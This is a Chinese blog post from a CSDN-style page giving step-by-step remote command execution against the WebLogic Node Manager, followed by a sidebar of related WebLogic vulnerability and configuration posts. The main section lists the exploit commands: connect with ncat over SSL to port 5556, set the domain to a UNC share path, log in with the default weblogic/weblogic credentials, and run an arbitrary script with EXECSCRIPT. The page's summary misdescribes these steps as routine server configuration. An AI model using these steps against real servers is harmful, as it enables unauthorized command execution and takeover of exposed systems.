weblogic node maanger 远程命令执行漏洞

最新推荐文章于 2025-05-13 16:38:40 发布

最新推荐文章于 2025-05-13 16:38:40 发布 · 179 阅读

本文详细介绍了如何通过命令行界面设置WebLogic服务器的域名，验证SSL端口连接，执行脚本命令，并提供了相关参考链接。适用于WebLogic服务器配置及日常维护。

1.找到5556的SSL端口

ncat --ssl ip 5556

输出HELLO

+OK Node manager v10.3 started

2.设置domain

DOMAIN my_domain \\ip\c$

+OK Current domain set to 'my_domain'

3.USER weblogic

PASS weblogic

4.执行命令

EXECSCRIPT 1.sh

参考资料:

http://book.51cto.com/art/201110/295927.htm

http://guanting.com/security/bug/information/3343.html

确定要放弃本次机会？

福利倒计时

: :

立减 ¥

普通VIP年卡可用

立即使用

iteye_11341

关注关注

0
点赞
踩
1

收藏

觉得还不错? 一键收藏
0
评论
分享

复制链接

分享到 QQ

分享到新浪微博

扫一扫
举报

举报

weblogic双机(多机)集群搭建

weixin_42971932的博客

05-08

5164

进去正题 1.创建集群点击【锁定并编辑】选择【环境】->【群集】->【新建】->【集群】填写"名称"，选择"单点传送"，点击【确定】，集群创建完成建议名称为 CLuster-项目名,(一个项目配置一个集群环境) 2.创建计算机(Machine) 选择【环境】->【计算机】->【新建】填写名称"Machine-0"，计算机操作系统"其他"，点击【下一步】建议名称Machine-机器ip,比如我的机器ip为10.160.14.70,设置为Machine-70,方.

CVE-2024-21006-weblogic远程命令执行漏洞

web15085415935的博客

12-10

1014

OracleWebLogicServer 存在远程命令执行漏洞（CVE-2024-21006）,该漏洞源于T3/IIOP协议存在缺陷，未经身份验证的攻击者可通过T3/IIOP协议受影响的服务器发送恶意的请求，利用LDAP工具执行任意代码。

参与评论您还未登录，请先登录后发表或查看评论

Oracle WebLogic Server Node Manager "beasvc.exe" Remote Command Execution

cnbird's blog

02-06

1545

http://intevydis.blogspot.com/2010/01/oracle-weblogic-1032-node-manager-fun.htmlTime for the final bug in our Week of Web Server bugs.It is in Vulndisco since Oct, 2008.Oracle Weblogic

WebLogic的安装和配置以及MyEclipse中配置WebLogic

Wisdom1001的博客

01-05

232

WebLogic 中间件: 是基础软件的一大类,属于可复用软件的范畴,顾名思义,中间件属于操作系统软件与应用软件的中间,比如:JDK,框架,weblogic. weblogic与tomcat区别 : 1.weblogic支持EJB规范,全面支持出了J2EE之外的其他规范,Web Service,SSL,xml等规范. 2.完善的售后服务. 3.集群机制,...

Weblogic的那些端口

lansesl2008的专栏

01-25

9360

首先是7001。它是域的控制台(Administration Console)的端口。修改方法：定位到到WEBLOGIC_HOME/user_projects/domains/自己的domain名字/config/config.xml这个文件，在AdminServer下面增加一行如7003。然后运行WEBLOGIC_HOME/user_projects/domains/自己的domain名

weblogic集群问题(1)

bboymoney的专栏

03-20

1871

集群后，受管appserver1,appserver2,appserver13,无法启动，报错如下: 问题的原因：主机名验证不通过。在安装bea weblogic时，当时的主机名为 LENOVO-D01793DE，后进行了变更。而weblogic的服务器证书没有更新，还是老的主机名，所以始终不匹配。注：即使写 ip/localhost也没用，发送url时是附带主机名的。方案

Weblogic未授权远程代码执行漏洞 (CVE-2023-21839)

qq_69775412的博客

08-09

966

Weblogic 允许远程用户在未经授权的情况下通过IIOP/T3进行JNDI lookup 操作，当JDK版本过低或本地存在javaSerializedData时，这可能会导致RCE漏洞。

Weblogic 管理控制台未授权远程命令执行漏洞（CVE-2020-14882，CVE-2020-14883）

m0_68045701的博客

07-10

2761

在2020年10月的更新中，Oracle官方修复了两个长亭科技安全研究员@voidfyoo 提交的安全漏洞，分别是CVE-2020-14882和CVE-2020-14883。CVE-2020-14882允许未授权的用户绕过管理控制台的权限验证访问后台，CVE-2020-14883允许后台任意用户通过HTTP协议执行任意命令。首先，我们需要构造一个XML文件，并将其保存在Weblogic可以访问到的服务器上，如。访问后台后是一个低权限的用户，无法安装应用，也无法直接执行任意代码。

Weblogic 反序列化远程命令执行漏洞 CVE-2019-2725 详解

最新发布

m0_67544876的博客

05-13

1550

CVE-2019-2725 漏洞作为 WebLogic 的一个严重安全隐患，给企业的网络安全带来了巨大威胁。了解该漏洞的原理、危害、检测及修复方法，对于保障 WebLogic 服务器的安全至关重要。在日常运维过程中，企业应密切关注安全漏洞信息，及时采取有效的防护措施，定期对服务器进行安全检测和漏洞扫描，确保系统的安全性和稳定性，防止因类似漏洞被攻击者利用而造成不可挽回的损失。

Weblogic反序列化命令执行漏洞（CVE-2018-2628）复现

君莫hacker的博客

09-11

1万+

目录0x01 漏洞介绍0x02 环境部署：0x03 漏洞复现0x04 漏洞修复 0x01 漏洞介绍漏洞描述 Weblogic Server WLS Core Components反序列化命令执行漏洞（CVE-2018-2628），该漏洞通过T3协议触发，可导致未授权的用户在远程服务器执行任意命令漏洞编号 CVE-2018-2628 受影响版本 Weblogic 10.3.6.0 Weblogic 12.1.3.0 Weblogic 12.2.1.2 Weblogic 12.2.1.3 0

weblogic 无法启动被管理的服务 <BEA-000386>

youngxw_2012的专栏

04-15

2万+

在域中新建一个新的server后，进入相应的

Weblogic在Linux上节点服务器启动正常，计算机连接不上

Elim的博客

05-25

1万+

最近在Linux上的Weblogic上创建自己的Machine时，发现监控的nodeManager的状态一直是异常的。经查找资料发现，在启动nodeManager时使用到的配置中默认是启用了安全访问协议的，即SecureListener=true。而在创建Machine的时候选择了通信方式为普通，这样两者就连接不上了，所以本次出现的问题其实就是两者之间使用的协议不一致导致的，只要保证两者之间的通信

weblogic常见错误一览

对酒当歌，人生几何

06-11

1156

1.bean未序列化导致的错误： Exception in thread "main" javax.ejb.EJBException: error marshalling return; nested exception is: java.io.NotSerializableException: com.earth.Employee 解决方案：将对应的类序列化，即加上implements...

weblogic 节点管理器无法启动起来的问题，所选服务器当前都处于与此操作不兼容的状态

热门推荐

流浪的神明

07-02

3万+

最近在一台新的电脑上安装weblogic，创建了新的server，但是一直无法启动，一直报下面这个错误：对于服务器test-server, 与计算机java相关联的节点管理器无法访问。消息图标 - 警告所有所选服务器当前都处于与此操作不兼容的状态, 或未与运行的节点管理器关联, 或没有授权您执行请求的操作。不会执行任何操作。配置计算机、创建server，百度上有很多，直接开始解决...

Weblogic基本配置(一)

wanghaoxin的博客

05-20

1万+

Weblogic基本配置介绍了目前最常用的weblogic 11g 的使用, 包括安装、目录讲解、配置、MyEclipse中配置。 - Weblogic介绍 1.中间件中间件(middleware)是基础软件的一大类, 属于可复用软件的范畴. 顾名思义,中间件处于操作系统软件与用户的应用软件的中间. Apache专门开发中间件的组织（可以推动整个行业技术的发展和应用）每个中...

Weblogic配置SSl使用Https

a7412605567的博客

03-05

2254

一 .可以开启自带的SSL连接启动weblogic，进入左侧菜单，点击左侧的安全领域-->点击myrealm-->点击角色和策略-->点击服务器AdminServer 点击保存，weblogic12的版本，不需要重启服务器，weblogic12以下的要重启服务器。重启后即可以生效。注意一下，配置SSL后可以通过https://ip+端口/conso...

关于Oracle WebLogic Server远程代码执行漏洞的通报

崔向阳@李晓的博客

10-19

3363

要了解Oracle Weblogic Server远程代码执行漏洞，需要了解一下Weblogic T3协议： T3也称为丰富套接字，是BEA内部协议，功能丰富，可扩展性好。T3是多工双向和异步协议，经过高度优化，只使用一个套接字和一条线程。借助这种方法，基于Java的客户端可以根据服务器方需求使用多种RMI对象，但仍使用一个套接字和一条线程。 WebLogic Server 中的 RMI（远程...

Weblogic 10.3.6远程执行漏洞紧急修复补丁发布

在网络安全领域，远程执行漏洞是指攻击者可以利用该漏洞通过网络发送特定的数据或者命令，使得目标系统执行了非授权的代码。这种漏洞是网络攻击中最危险的一类，因为攻击者无需本地访问权即可控制受影响的系统。因此...